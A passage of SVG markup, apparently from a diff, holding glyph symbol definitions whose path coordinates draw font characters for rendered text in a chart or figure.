2.992188 -11.304688 2.796875 -10.953125 C 2.609375 -10.609375 2.515625 -10.242188 2.515625 -9.859375 C 2.515625 -9.328125 2.632812 -8.882812 2.875 -8.53125 C 3.125 -8.1875 3.441406 -7.875 3.828125 -7.59375 Z M 3.828125 -11.625 "/> +</symbol> +<symbol overflow="visible" id="glyph0-20"> +<path style="stroke:none;" d="M 0.859375 3.4375 C 1.210938 2.90625 1.515625 2.304688 1.765625 1.640625 C 2.023438 0.984375 2.234375 0.304688 2.390625 -0.390625 C 2.554688 -1.085938 2.675781 -1.78125 2.75 -2.46875 C 2.820312 -3.164062 2.859375 -3.804688 2.859375 -4.390625 C 2.859375 -5.003906 2.820312 -5.648438 2.75 -6.328125 C 2.6875 -7.003906 2.578125 -7.6875 2.421875 -8.375 C 2.273438 -9.070312 2.070312 -9.757812 1.8125 -10.4375 C 1.550781 -11.113281 1.234375 -11.757812 0.859375 -12.375 L 1.6875 -12.859375 C 2.132812 -12.242188 2.519531 -11.582031 2.84375 -10.875 C 3.164062 -10.164062 3.421875 -9.441406 3.609375 -8.703125 C 3.804688 -7.960938 3.945312 -7.222656 4.03125 -6.484375 C 4.113281 -5.742188 4.15625 -5.046875 4.15625 -4.390625 C 4.15625 -3.710938 4.113281 -3.003906 4.03125 -2.265625 C 3.945312 -1.523438 3.804688 -0.789062 3.609375 -0.0625 C 3.421875 0.664062 3.171875 1.375 2.859375 2.0625 C 2.546875 2.757812 2.164062 3.394531 1.71875 3.96875 Z M 0.859375 3.4375 "/> +</symbol> +<symbol overflow="visible" id="glyph1-0"> +<path style="stroke:none;" d="M 1.015625 -14.234375 L 14.234375 -14.234375 L 14.234375 0 L 1.015625 0 Z M 11.59375 -12.609375 L 7.625 -8.1875 L 3.65625 -12.609375 L 2.640625 -11.59375 L 6.640625 -7.109375 L 2.640625 -2.640625 L 3.65625 -1.625 L 7.625 -6.03125 L 11.59375 -1.625 L 12.609375 -2.640625 L 8.578125 -7.109375 L 12.609375 -11.59375 Z M 2.625 -0.546875 L 2.78125 -0.546875 L 2.78125 -0.796875 L 2.859375 -0.796875 C 2.941406 -0.796875 3.015625 -0.8125 3.078125 -0.84375 C 3.148438 -0.875 3.1875 -0.9375 3.1875 -1.03125 C 3.1875 -1.144531 3.148438 -1.210938 3.078125 -1.234375 C 3.003906 -1.265625 2.925781 -1.28125 2.84375 -1.28125 L 2.625 -1.28125 Z M 2.859375 -1.15625 C 2.972656 -1.15625 3.03125 -1.125 3.03125 -1.0625 C 3.03125 -0.988281 3.007812 -0.945312 2.96875 -0.9375 C 2.9375 -0.9375 2.894531 -0.9375 2.84375 -0.9375 L 2.78125 -0.9375 L 2.78125 -1.15625 Z M 3.84375 -1.28125 L 3.21875 -1.28125 L 3.21875 -1.15625 L 3.453125 -1.15625 L 3.453125 -0.546875 L 3.59375 -0.546875 L 3.59375 -1.15625 L 3.84375 -1.15625 Z M 4.515625 -0.75 C 4.515625 -0.695312 4.46875 -0.671875 4.375 -0.671875 C 4.28125 -0.671875 4.21875 -0.6875 4.1875 -0.71875 L 4.125 -0.5625 C 4.15625 -0.5625 4.191406 -0.554688 4.234375 -0.546875 C 4.273438 -0.535156 4.328125 -0.53125 4.390625 -0.53125 C 4.578125 -0.53125 4.671875 -0.609375 4.671875 -0.765625 C 4.671875 -0.890625 4.609375 -0.957031 4.484375 -0.96875 C 4.367188 -0.988281 4.3125 -1.03125 4.3125 -1.09375 C 4.3125 -1.132812 4.351562 -1.15625 4.4375 -1.15625 C 4.5 -1.15625 4.554688 -1.144531 4.609375 -1.125 L 4.65625 -1.265625 C 4.570312 -1.285156 4.5 -1.296875 4.4375 -1.296875 C 4.238281 -1.296875 4.140625 -1.222656 4.140625 -1.078125 C 4.140625 -1.003906 4.160156 -0.953125 4.203125 -0.921875 C 4.242188 -0.898438 4.285156 -0.878906 4.328125 -0.859375 C 4.367188 -0.835938 4.410156 -0.820312 4.453125 -0.8125 C 4.492188 -0.800781 4.515625 -0.78125 4.515625 -0.75 Z M 4.8125 -0.953125 C 4.875 -0.984375 4.9375 -1 5 -1 C 5.070312 -1 5.109375 -0.972656 5.109375 -0.921875 L 5.109375 -0.875 C 5.085938 -0.875 5.070312 -0.875 5.0625 -0.875 C 5.050781 -0.882812 5.03125 -0.890625 5 -0.890625 C 4.832031 -0.890625 4.75 -0.820312 4.75 -0.6875 C 4.75 -0.582031 4.804688 -0.53125 4.921875 -0.53125 C 5.003906 -0.53125 5.066406 -0.5625 5.109375 -0.625 L 5.140625 -0.546875 L 5.265625 -0.546875 C 5.253906 -0.578125 5.25 -0.625 5.25 -0.6875 L 5.25 -0.921875 C 5.25 -1.054688 5.179688 -1.125 5.046875 -1.125 C 4.984375 -1.125 4.925781 -1.113281 4.875 -1.09375 C 4.832031 -1.082031 4.800781 -1.070312 4.78125 -1.0625 Z M 4.984375 -0.65625 C 4.929688 -0.65625 4.90625 -0.679688 4.90625 -0.734375 C 4.90625 -0.785156 4.9375 -0.8125 5 -0.8125 C 5.03125 -0.8125 5.050781 -0.804688 5.0625 -0.796875 C 5.070312 -0.796875 5.085938 -0.796875 5.109375 -0.796875 L 5.109375 -0.734375 C 5.078125 -0.679688 5.035156 -0.65625 4.984375 -0.65625 Z M 5.9375 -0.546875 L 5.9375 -0.875 C 5.9375 -1.039062 5.875 -1.125 5.75 -1.125 C 5.65625 -1.125 5.585938 -1.085938 5.546875 -1.015625 L 5.515625 -1.09375 L 5.40625 -1.09375 L 5.40625 -0.546875 L 5.546875 -0.546875 L 5.546875 -0.890625 C 5.578125 -0.941406 5.617188 -0.96875 5.671875 -0.96875 C 5.734375 -0.96875 5.765625 -0.929688 5.765625 -0.859375 L 5.765625 -0.546875 Z M 6.03125 -0.5625 C 6.09375 -0.539062 6.160156 -0.53125 6.234375 -0.53125 C 6.390625 -0.53125 6.46875 -0.59375 6.46875 -0.71875 C 6.46875 -0.78125 6.445312 -0.816406 6.40625 -0.828125 C 6.375 -0.847656 6.335938 -0.867188 6.296875 -0.890625 C 6.234375 -0.921875 6.203125 -0.941406 6.203125 -0.953125 C 6.203125 -0.984375 6.222656 -1 6.265625 -1 C 6.316406 -1 6.367188 -0.984375 6.421875 -0.953125 L 6.46875 -1.078125 C 6.414062 -1.109375 6.347656 -1.125 6.265625 -1.125 C 6.128906 -1.125 6.0625 -1.0625 6.0625 -0.9375 C 6.0625 -0.863281 6.082031 -0.816406 6.125 -0.796875 C 6.164062 -0.773438 6.195312 -0.757812 6.21875 -0.75 C 6.289062 -0.75 6.328125 -0.726562 6.328125 -0.6875 C 6.328125 -0.664062 6.304688 -0.65625 6.265625 -0.65625 C 6.191406 -0.65625 6.128906 -0.664062 6.078125 -0.6875 Z M 6.875 -0.859375 C 6.875 -0.566406 7.007812 -0.421875 7.28125 -0.421875 C 7.550781 -0.421875 7.6875 -0.566406 7.6875 -0.859375 C 7.6875 -1.128906 7.550781 -1.265625 7.28125 -1.265625 C 7.164062 -1.265625 7.066406 -1.222656 6.984375 -1.140625 C 6.910156 -1.066406 6.875 -0.972656 6.875 -0.859375 Z M 7 -0.859375 C 7 -1.054688 7.09375 -1.15625 7.28125 -1.15625 C 7.46875 -1.15625 7.5625 -1.054688 7.5625 -0.859375 C 7.5625 -0.648438 7.46875 -0.546875 7.28125 -0.546875 C 7.09375 -0.546875 7 -0.648438 7 -0.859375 Z M 7.40625 -0.765625 C 7.375 -0.753906 7.34375 -0.75 7.3125 -0.75 C 7.257812 -0.75 7.234375 -0.785156 7.234375 -0.859375 C 7.234375 -0.910156 7.257812 -0.9375 7.3125 -0.9375 L 7.375 -0.9375 L 7.421875 -1.015625 C 7.367188 -1.046875 7.320312 -1.0625 7.28125 -1.0625 C 7.15625 -1.0625 7.09375 -0.992188 7.09375 -0.859375 C 7.09375 -0.703125 7.15625 -0.625 7.28125 -0.625 C 7.34375 -0.625 7.390625 -0.640625 7.421875 -0.671875 Z M 8.109375 -0.546875 L 8.28125 -0.546875 L 8.28125 -0.796875 L 8.359375 -0.796875 C 8.441406 -0.796875 8.515625 -0.8125 8.578125 -0.84375 C 8.648438 -0.875 8.6875 -0.9375 8.6875 -1.03125 C 8.6875 -1.144531 8.644531 -1.210938 8.5625 -1.234375 C 8.488281 -1.265625 8.410156 -1.28125 8.328125 -1.28125 L 8.109375 -1.28125 Z M 8.359375 -1.15625 C 8.460938 -1.15625 8.515625 -1.125 8.515625 -1.0625 C 8.515625 -0.988281 8.5 -0.945312 8.46875 -0.9375 C 8.4375 -0.9375 8.390625 -0.9375 8.328125 -0.9375 L 8.28125 -0.9375 L 8.28125 -1.15625 Z M 8.78125 -0.953125 C 8.832031 -0.984375 8.894531 -1 8.96875 -1 C 9.03125 -1 9.0625 -0.972656 9.0625 -0.921875 L 9.0625 -0.875 C 9.050781 -0.875 9.035156 -0.875 9.015625 -0.875 C 9.003906 -0.882812 8.988281 -0.890625 8.96875 -0.890625 C 8.789062 -0.890625 8.703125 -0.820312 8.703125 -0.6875 C 8.703125 -0.582031 8.765625 -0.53125 8.890625 -0.53125 C 8.960938 -0.53125 9.019531 -0.5625 9.0625 -0.625 L 9.109375 -0.546875 L 9.234375 -0.546875 C 9.210938 -0.578125 9.203125 -0.625 9.203125 -0.6875 L 9.203125 -0.921875 C 9.203125 -1.054688 9.132812 -1.125 9 -1.125 C 8.945312 -1.125 8.894531 -1.113281 8.84375 -1.09375 C 8.800781 -1.082031 8.765625 -1.070312 8.734375 -1.0625 Z M 8.9375 -0.65625 C 8.882812 -0.65625 8.859375 -0.679688 8.859375 -0.734375 C 8.859375 -0.785156 8.894531 -0.8125 8.96875 -0.8125 C 8.988281 -0.8125 9.003906 -0.804688 9.015625 -0.796875 C 9.035156 -0.796875 9.050781 -0.796875 9.0625 -0.796875 L 9.0625 -0.734375 C 9.039062 -0.679688 9 -0.65625 8.9375 -0.65625 Z M 9.71875 -1.09375 C 9.707031 -1.113281 9.679688 -1.125 9.640625 -1.125 C 9.578125 -1.125 9.535156 -1.085938 9.515625 -1.015625 L 9.5 -1.015625 L 9.46875 -1.09375 L 9.34375 -1.09375 L 9.34375 -0.546875 L 9.515625 -0.546875 L 9.515625 -0.890625 C 9.515625 -0.941406 9.554688 -0.96875 9.640625 -0.96875 L 9.65625 -0.96875 C 9.664062 -0.96875 9.671875 -0.960938 9.671875 -0.953125 C 9.671875 -0.953125 9.679688 -0.953125 9.703125 -0.953125 Z M 9.8125 -0.953125 C 9.894531 -0.984375 9.957031 -1 10 -1 C 10.070312 -1 10.109375 -0.972656 10.109375 -0.921875 L 10.109375 -0.875 C 10.085938 -0.875 10.070312 -0.875 10.0625 -0.875 C 10.050781 -0.882812 10.03125 -0.890625 10 -0.890625 C 9.820312 -0.890625 9.734375 -0.820312 9.734375 -0.6875 C 9.734375 -0.582031 9.796875 -0.53125 9.921875 -0.53125 C 10.015625 -0.53125 10.078125 -0.5625 10.109375 -0.625 L 10.125 -0.625 L 10.140625 -0.546875 L 10.265625 -0.546875 C 10.253906 -0.578125 10.25 -0.625 10.25 -0.6875 L 10.25 -0.921875 C 10.25 -1.054688 10.179688 -1.125 10.046875 -1.125 C 9.984375 -1.125 9.929688 -1.113281 9.890625 -1.09375 C 9.859375 -1.082031 9.828125 -1.070312 9.796875 -1.0625 Z M 9.984375 -0.65625 C 9.929688 -0.65625 9.90625 -0.679688 9.90625 -0.734375 C 9.90625 -0.785156 9.9375 -0.8125 10 -0.8125 C 10.03125 -0.8125 10.050781 -0.804688 10.0625 -0.796875 C 10.070312 -0.796875 10.085938 -0.796875 10.109375 -0.796875 L 10.109375 -0.734375 C 10.078125 -0.679688 10.035156 -0.65625 9.984375 -0.65625 Z M 10.828125 -1.28125 L 10.203125 -1.28125 L 10.203125 -1.15625 L 10.421875 -1.15625 L 10.421875 -0.546875 L 10.59375 -0.546875 L 10.59375 -1.15625 L 10.828125 -1.15625 Z M 11 -1.09375 L 10.828125 -1.09375 L 11.078125 -0.546875 C 11.066406 -0.484375 11.035156 -0.453125 10.984375 -0.453125 L 10.953125 -0.46875 L 10.921875 -0.34375 C 10.941406 -0.332031 10.972656 -0.328125 11.015625 -0.328125 C 11.085938 -0.328125 11.15625 -0.414062 11.21875 -0.59375 L 11.421875 -1.09375 L 11.265625 -1.09375 L 11.15625 -0.796875 L 11.15625 -0.6875 L 11.140625 -0.6875 L 11.125 -0.796875 Z M 11.484375 -0.328125 L 11.640625 -0.328125 L 11.640625 -0.5625 C 11.660156 -0.539062 11.695312 -0.53125 11.75 -0.53125 C 11.9375 -0.53125 12.03125 -0.628906 12.03125 -0.828125 C 12.03125 -1.023438 11.957031 -1.125 11.8125 -1.125 C 11.738281 -1.125 11.675781 -1.09375 11.625 -1.03125 L 11.609375 -1.03125 L 11.59375 -1.09375 L 11.484375 -1.09375 Z M 11.765625 -1 C 11.835938 -1 11.875 -0.941406 11.875 -0.828125 C 11.875 -0.710938 11.828125 -0.65625 11.734375 -0.65625 C 11.703125 -0.65625 11.671875 -0.664062 11.640625 -0.6875 L 11.640625 -0.890625 C 11.640625 -0.960938 11.679688 -1 11.765625 -1 Z M 12.5625 -0.6875 C 12.53125 -0.664062 12.484375 -0.65625 12.421875 -0.65625 C 12.328125 -0.65625 12.269531 -0.691406 12.25 -0.765625 L 12.640625 -0.765625 L 12.640625 -0.890625 C 12.640625 -0.972656 12.613281 -1.03125 12.5625 -1.0625 C 12.519531 -1.101562 12.46875 -1.125 12.40625 -1.125 C 12.207031 -1.125 12.109375 -1.019531 12.109375 -0.8125 C 12.109375 -0.625 12.207031 -0.53125 12.40625 -0.53125 C 12.445312 -0.53125 12.484375 -0.535156 12.515625 -0.546875 C 12.554688 -0.554688 12.59375 -0.570312 12.625 -0.59375 Z M 12.40625 -1 C 12.476562 -1 12.507812 -0.957031 12.5 -0.875 L 12.28125 -0.875 C 12.28125 -0.957031 12.320312 -1 12.40625 -1 Z M 12.40625 -1 "/> +</symbol> +<symbol overflow="visible" id="glyph1-1"> +<path style="stroke:none;" d="M 3.46875 -9.03125 L 2.609375 -11.265625 L 2.546875 -11.265625 L 2.765625 -9.03125 L 2.765625 0 L 1.296875 0 L 1.296875 -14.453125 L 2.21875 -14.453125 L 7.484375 -5.21875 L 8.3125 -3.09375 L 8.390625 -3.09375 L 8.171875 -5.21875 L 8.171875 -14.234375 L 9.640625 -14.234375 L 9.640625 0.21875 L 8.703125 0.21875 Z M 3.46875 -9.03125 "/> +</symbol> +<symbol overflow="visible" id="glyph1-2"> +<path style="stroke:none;" d="M 7.28125 -0.6875 C 6.957031 -0.394531 6.539062 -0.164062 6.03125 0 C 5.53125 0.164062 5.003906 0.25 4.453125 0.25 C 3.816406 0.25 3.265625 0.125 2.796875 -0.125 C 2.328125 -0.382812 1.9375 -0.742188 1.625 -1.203125 C 1.320312 -1.671875 1.097656 -2.226562 0.953125 -2.875 C 0.816406 -3.53125 0.75 -4.265625 0.75 -5.078125 C 0.75 -6.816406 1.066406 -8.140625 1.703125 -9.046875 C 2.335938 -9.953125 3.238281 -10.40625 4.40625 -10.40625 C 4.789062 -10.40625 5.164062 -10.359375 5.53125 -10.265625 C 5.90625 -10.171875 6.242188 -9.976562 6.546875 -9.6875 C 6.847656 -9.40625 7.085938 -9.003906 7.265625 -8.484375 C 7.453125 -7.972656 7.546875 -7.304688 7.546875 -6.484375 C 7.546875 -6.253906 7.535156 -6.003906 7.515625 -5.734375 C 7.492188 -5.472656 7.46875 -5.203125 7.4375 -4.921875 L 2.28125 -4.921875 C 2.28125 -4.335938 2.328125 -3.804688 2.421875 -3.328125 C 2.515625 -2.859375 2.660156 -2.457031 2.859375 -2.125 C 3.066406 -1.789062 3.328125 -1.53125 3.640625 -1.34375 C 3.960938 -1.164062 4.363281 -1.078125 4.84375 -1.078125 C 5.207031 -1.078125 5.566406 -1.144531 5.921875 -1.28125 C 6.285156 -1.414062 6.5625 -1.578125 6.75 -1.765625 Z M 6.140625 -6.140625 C 6.171875 -7.148438 6.03125 -7.894531 5.71875 -8.375 C 5.40625 -8.851562 4.976562 -9.09375 4.4375 -9.09375 C 3.8125 -9.09375 3.316406 -8.851562 2.953125 -8.375 C 2.585938 -7.894531 2.367188 -7.148438 2.296875 -6.140625 Z M 6.140625 -6.140625 "/> +</symbol> +<symbol overflow="visible" id="glyph1-3"> +<path style="stroke:none;" d="M 6.625 -10.15625 L 8.4375 -4.234375 L 8.796875 -2.28125 L 8.84375 -2.28125 L 9.140625 -4.265625 L 10.53125 -10.15625 L 11.90625 -10.15625 L 9.203125 0.21875 L 8.375 0.21875 L 6.328125 -6.4375 L 6.03125 -8.15625 L 6 -8.15625 L 5.71875 -6.421875 L 3.71875 0.21875 L 2.890625 0.21875 L 0.109375 -10.15625 L 1.671875 -10.15625 L 3.234375 -4.25 L 3.46875 -2.28125 L 3.515625 -2.28125 L 3.875 -4.296875 L 5.546875 -10.15625 Z M 6.625 -10.15625 "/> +</symbol> +<symbol overflow="visible" id="glyph1-4"> +<path style="stroke:none;" d=""/> +</symbol> +<symbol overflow="visible" id="glyph1-5"> +<path style="stroke:none;" d="M 0.328125 -10.15625 L 1.5625 -10.15625 L 1.5625 -10.734375 C 1.5625 -12.003906 1.742188 -12.925781 2.109375 -13.5 C 2.472656 -14.070312 3.097656 -14.359375 3.984375 -14.359375 C 4.335938 -14.359375 4.65625 -14.335938 4.9375 -14.296875 C 5.21875 -14.253906 5.507812 -14.164062 5.8125 -14.03125 L 5.453125 -12.765625 C 5.203125 -12.867188 4.972656 -12.9375 4.765625 -12.96875 C 4.554688 -13.007812 4.359375 -13.03125 4.171875 -13.03125 C 3.898438 -13.03125 3.6875 -12.972656 3.53125 -12.859375 C 3.382812 -12.753906 3.273438 -12.585938 3.203125 -12.359375 C 3.128906 -12.128906 3.082031 -11.832031 3.0625 -11.46875 C 3.039062 -11.113281 3.03125 -10.675781 3.03125 -10.15625 L 5.140625 -10.15625 L 5.140625 -8.84375 L 3.03125 -8.84375 L 3.03125 0 L 1.5625 0 L 1.5625 -8.84375 L 0.328125 -8.84375 Z M 0.328125 -10.15625 "/> +</symbol> +<symbol overflow="visible" id="glyph1-6"> +<path style="stroke:none;" d="M 0.75 -5.078125 C 0.75 -6.910156 1.0625 -8.253906 1.6875 -9.109375 C 2.320312 -9.972656 3.222656 -10.40625 4.390625 -10.40625 C 5.640625 -10.40625 6.554688 -9.960938 7.140625 -9.078125 C 7.734375 -8.203125 8.03125 -6.867188 8.03125 -5.078125 C 8.03125 -3.234375 7.710938 -1.882812 7.078125 -1.03125 C 6.441406 -0.175781 5.546875 0.25 4.390625 0.25 C 3.140625 0.25 2.21875 -0.191406 1.625 -1.078125 C 1.039062 -1.960938 0.75 -3.296875 0.75 -5.078125 Z M 2.28125 -5.078125 C 2.28125 -4.484375 2.316406 -3.941406 2.390625 -3.453125 C 2.460938 -2.960938 2.582031 -2.539062 2.75 -2.1875 C 2.925781 -1.84375 3.148438 -1.570312 3.421875 -1.375 C 3.691406 -1.175781 4.015625 -1.078125 4.390625 -1.078125 C 5.097656 -1.078125 5.625 -1.390625 5.96875 -2.015625 C 6.320312 -2.648438 6.5 -3.671875 6.5 -5.078125 C 6.5 -5.660156 6.460938 -6.195312 6.390625 -6.6875 C 6.316406 -7.1875 6.191406 -7.613281 6.015625 -7.96875 C 5.847656 -8.320312 5.628906 -8.597656 5.359375 -8.796875 C 5.085938 -8.992188 4.765625 -9.09375 4.390625 -9.09375 C 3.703125 -9.09375 3.175781 -8.769531 2.8125 -8.125 C 2.457031 -7.488281 2.28125 -6.472656 2.28125 -5.078125 Z M 2.28125 -5.078125 "/> +</symbol> +<symbol overflow="visible" id="glyph1-7"> +<path style="stroke:none;" d="M 1.203125 -10.15625 L 2.234375 -10.15625 L 2.5 -9.09375 L 2.5625 -9.09375 C 2.75 -9.476562 2.992188 -9.78125 3.296875 -10 C 3.609375 -10.226562 3.976562 -10.34375 4.40625 -10.34375 C 4.71875 -10.34375 5.070312 -10.28125 5.46875 -10.15625 L 5.1875 -8.6875 C 4.832031 -8.800781 4.519531 -8.859375 4.25 -8.859375 C 3.8125 -8.859375 3.457031 -8.734375 3.1875 -8.484375 C 2.914062 -8.234375 2.738281 -7.898438 2.65625 -7.484375 L 2.65625 0 L 1.203125 0 Z M 1.203125 -10.15625 "/> +</symbol> +<symbol overflow="visible" id="glyph1-8"> +<path style="stroke:none;" d="M 5.953125 0 L 5.953125 -6.03125 C 5.953125 -6.570312 5.9375 -7.035156 5.90625 -7.421875 C 5.875 -7.816406 5.800781 -8.132812 5.6875 -8.375 C 5.582031 -8.613281 5.429688 -8.789062 5.234375 -8.90625 C 5.046875 -9.03125 4.800781 -9.09375 4.5 -9.09375 C 4.03125 -9.09375 3.632812 -8.910156 3.3125 -8.546875 C 3 -8.191406 2.78125 -7.78125 2.65625 -7.3125 L 2.65625 0 L 1.203125 0 L 1.203125 -10.15625 L 2.234375 -10.15625 L 2.5 -9.09375 L 2.5625 -9.09375 C 2.84375 -9.476562 3.179688 -9.789062 3.578125 -10.03125 C 3.972656 -10.28125 4.472656 -10.40625 5.078125 -10.40625 C 5.597656 -10.40625 6.019531 -10.289062 6.34375 -10.0625 C 6.675781 -9.84375 6.941406 -9.453125 7.140625 -8.890625 C 7.378906 -9.359375 7.722656 -9.726562 8.171875 -10 C 8.628906 -10.269531 9.128906 -10.40625 9.671875 -10.40625 C 10.117188 -10.40625 10.5 -10.347656 10.8125 -10.234375 C 11.132812 -10.117188 11.394531 -9.914062 11.59375 -9.625 C 11.789062 -9.332031 11.9375 -8.945312 12.03125 -8.46875 C 12.125 -7.988281 12.171875 -7.378906 12.171875 -6.640625 L 12.171875 0 L 10.71875 0 L 10.71875 -6.46875 C 10.71875 -7.34375 10.628906 -8 10.453125 -8.4375 C 10.285156 -8.875 9.898438 -9.09375 9.296875 -9.09375 C 8.773438 -9.09375 8.363281 -8.929688 8.0625 -8.609375 C 7.757812 -8.285156 7.546875 -7.851562 7.421875 -7.3125 L 7.421875 0 Z M 5.953125 0 "/> +</symbol> +<symbol overflow="visible" id="glyph1-9"> +<path style="stroke:none;" d="M 1.296875 -14.09375 C 1.734375 -14.207031 2.195312 -14.285156 2.6875 -14.328125 C 3.175781 -14.367188 3.65625 -14.390625 4.125 -14.390625 C 4.664062 -14.390625 5.203125 -14.328125 5.734375 -14.203125 C 6.265625 -14.085938 6.742188 -13.863281 7.171875 -13.53125 C 7.597656 -13.207031 7.941406 -12.757812 8.203125 -12.1875 C 8.460938 -11.625 8.59375 -10.898438 8.59375 -10.015625 C 8.59375 -9.160156 8.46875 -8.4375 8.21875 -7.84375 C 7.96875 -7.25 7.632812 -6.765625 7.21875 -6.390625 C 6.8125 -6.015625 6.335938 -5.742188 5.796875 -5.578125 C 5.265625 -5.410156 4.710938 -5.328125 4.140625 -5.328125 C 4.085938 -5.328125 4 -5.328125 3.875 -5.328125 C 3.757812 -5.328125 3.632812 -5.328125 3.5 -5.328125 C 3.363281 -5.335938 3.226562 -5.347656 3.09375 -5.359375 C 2.96875 -5.378906 2.878906 -5.394531 2.828125 -5.40625 L 2.828125 0 L 1.296875 0 Z M 4.203125 -12.984375 C 3.929688 -12.984375 3.671875 -12.972656 3.421875 -12.953125 C 3.171875 -12.929688 2.972656 -12.90625 2.828125 -12.875 L 2.828125 -6.8125 C 2.878906 -6.78125 2.960938 -6.757812 3.078125 -6.75 C 3.191406 -6.75 3.3125 -6.742188 3.4375 -6.734375 C 3.5625 -6.734375 3.679688 -6.734375 3.796875 -6.734375 C 3.910156 -6.734375 3.992188 -6.734375 4.046875 -6.734375 C 4.421875 -6.734375 4.785156 -6.78125 5.140625 -6.875 C 5.492188 -6.96875 5.804688 -7.140625 6.078125 -7.390625 C 6.347656 -7.640625 6.566406 -7.976562 6.734375 -8.40625 C 6.910156 -8.832031 7 -9.367188 7 -10.015625 C 7 -10.585938 6.921875 -11.0625 6.765625 -11.4375 C 6.609375 -11.820312 6.398438 -12.128906 6.140625 -12.359375 C 5.890625 -12.585938 5.59375 -12.75 5.25 -12.84375 C 4.914062 -12.9375 4.566406 -12.984375 4.203125 -12.984375 Z M 4.203125 -12.984375 "/> +</symbol> +<symbol overflow="visible" id="glyph1-10"> +<path style="stroke:none;" d="M 1.203125 -10.15625 L 2.234375 -10.15625 L 2.453125 -9.0625 L 2.546875 -9.0625 C 3.046875 -9.957031 3.832031 -10.40625 4.90625 -10.40625 C 5.96875 -10.40625 6.765625 -10.003906 7.296875 -9.203125 C 7.835938 -8.410156 8.109375 -7.101562 8.109375 -5.28125 C 8.109375 -4.425781 8.019531 -3.65625 7.84375 -2.96875 C 7.664062 -2.289062 7.414062 -1.710938 7.09375 -1.234375 C 6.769531 -0.753906 6.375 -0.382812 5.90625 -0.125 C 5.4375 0.125 4.914062 0.25 4.34375 0.25 C 3.957031 0.25 3.644531 0.222656 3.40625 0.171875 C 3.175781 0.128906 2.925781 0.03125 2.65625 -0.125 L 2.65625 4.0625 L 1.203125 4.0625 Z M 2.65625 -1.609375 C 2.851562 -1.441406 3.066406 -1.3125 3.296875 -1.21875 C 3.535156 -1.125 3.851562 -1.078125 4.25 -1.078125 C 4.96875 -1.078125 5.535156 -1.441406 5.953125 -2.171875 C 6.378906 -2.898438 6.59375 -3.945312 6.59375 -5.3125 C 6.59375 -5.875 6.550781 -6.382812 6.46875 -6.84375 C 6.394531 -7.3125 6.273438 -7.707031 6.109375 -8.03125 C 5.953125 -8.363281 5.75 -8.625 5.5 -8.8125 C 5.25 -9 4.941406 -9.09375 4.578125 -9.09375 C 3.585938 -9.09375 2.945312 -8.488281 2.65625 -7.28125 Z M 2.65625 -1.609375 "/> +</symbol> +<symbol overflow="visible" id="glyph1-11"> +<path style="stroke:none;" d="M 2.515625 -10.15625 L 2.515625 -3.9375 C 2.515625 -2.914062 2.617188 -2.179688 2.828125 -1.734375 C 3.046875 -1.296875 3.429688 -1.078125 3.984375 -1.078125 C 4.265625 -1.078125 4.515625 -1.132812 4.734375 -1.25 C 4.960938 -1.363281 5.164062 -1.515625 5.34375 -1.703125 C 5.519531 -1.890625 5.675781 -2.101562 5.8125 -2.34375 C 5.945312 -2.59375 6.054688 -2.847656 6.140625 -3.109375 L 6.140625 -10.15625 L 7.609375 -10.15625 L 7.609375 -2.890625 C 7.609375 -2.398438 7.625 -1.894531 7.65625 -1.375 C 7.6875 -0.851562 7.738281 -0.394531 7.8125 0 L 6.765625 0 L 6.40625 -1.421875 L 6.34375 -1.421875 C 6.113281 -0.972656 5.78125 -0.582031 5.34375 -0.25 C 4.914062 0.0820312 4.375 0.25 3.71875 0.25 C 3.28125 0.25 2.898438 0.191406 2.578125 0.078125 C 2.253906 -0.0234375 1.976562 -0.21875 1.75 -0.5 C 1.519531 -0.789062 1.347656 -1.179688 1.234375 -1.671875 C 1.117188 -2.171875 1.0625 -2.804688 1.0625 -3.578125 L 1.0625 -10.15625 Z M 2.515625 -10.15625 "/> +</symbol> +<symbol overflow="visible" id="glyph1-12"> +<path style="stroke:none;" d="M 2.765625 -2.421875 C 2.765625 -1.941406 2.828125 -1.597656 2.953125 -1.390625 C 3.085938 -1.191406 3.269531 -1.09375 3.5 -1.09375 C 3.78125 -1.09375 4.113281 -1.171875 4.5 -1.328125 L 4.640625 -0.140625 C 4.460938 -0.0351562 4.210938 0.046875 3.890625 0.109375 C 3.578125 0.179688 3.289062 0.21875 3.03125 0.21875 C 2.507812 0.21875 2.085938 0.0625 1.765625 -0.25 C 1.453125 -0.570312 1.296875 -1.132812 1.296875 -1.9375 L 1.296875 -14.234375 L 2.765625 -14.234375 Z M 2.765625 -2.421875 "/> +</symbol> +<symbol overflow="visible" id="glyph1-13"> +<path style="stroke:none;" d="M 1.09375 -9.546875 C 1.488281 -9.796875 1.96875 -9.988281 2.53125 -10.125 C 3.09375 -10.257812 3.6875 -10.328125 4.3125 -10.328125 C 4.875 -10.328125 5.328125 -10.238281 5.671875 -10.0625 C 6.023438 -9.894531 6.300781 -9.664062 6.5 -9.375 C 6.695312 -9.082031 6.820312 -8.75 6.875 -8.375 C 6.9375 -8.007812 6.96875 -7.625 6.96875 -7.21875 C 6.96875 -6.40625 6.953125 -5.609375 6.921875 -4.828125 C 6.890625 -4.054688 6.875 -3.328125 6.875 -2.640625 C 6.875 -2.128906 6.890625 -1.648438 6.921875 -1.203125 C 6.953125 -0.765625 7.015625 -0.347656 7.109375 0.046875 L 6 0.046875 L 5.65625 -1.15625 L 5.5625 -1.15625 C 5.363281 -0.800781 5.066406 -0.492188 4.671875 -0.234375 C 4.273438 0.015625 3.75 0.140625 3.09375 0.140625 C 2.351562 0.140625 1.75 -0.109375 1.28125 -0.609375 C 0.820312 -1.117188 0.59375 -1.820312 0.59375 -2.71875 C 0.59375 -3.300781 0.6875 -3.789062 0.875 -4.1875 C 1.070312 -4.582031 1.347656 -4.898438 1.703125 -5.140625 C 2.066406 -5.390625 2.492188 -5.5625 2.984375 -5.65625 C 3.484375 -5.757812 4.039062 -5.8125 4.65625 -5.8125 C 4.789062 -5.8125 4.925781 -5.8125 5.0625 -5.8125 C 5.195312 -5.8125 5.335938 -5.804688 5.484375 -5.796875 C 5.523438 -6.210938 5.546875 -6.582031 5.546875 -6.90625 C 5.546875 -7.675781 5.429688 -8.21875 5.203125 -8.53125 C 4.972656 -8.84375 4.550781 -9 3.9375 -9 C 3.5625 -9 3.148438 -8.941406 2.703125 -8.828125 C 2.253906 -8.710938 1.878906 -8.566406 1.578125 -8.390625 Z M 5.515625 -4.640625 C 5.378906 -4.648438 5.242188 -4.65625 5.109375 -4.65625 C 4.972656 -4.664062 4.835938 -4.671875 4.703125 -4.671875 C 4.367188 -4.671875 4.046875 -4.644531 3.734375 -4.59375 C 3.421875 -4.539062 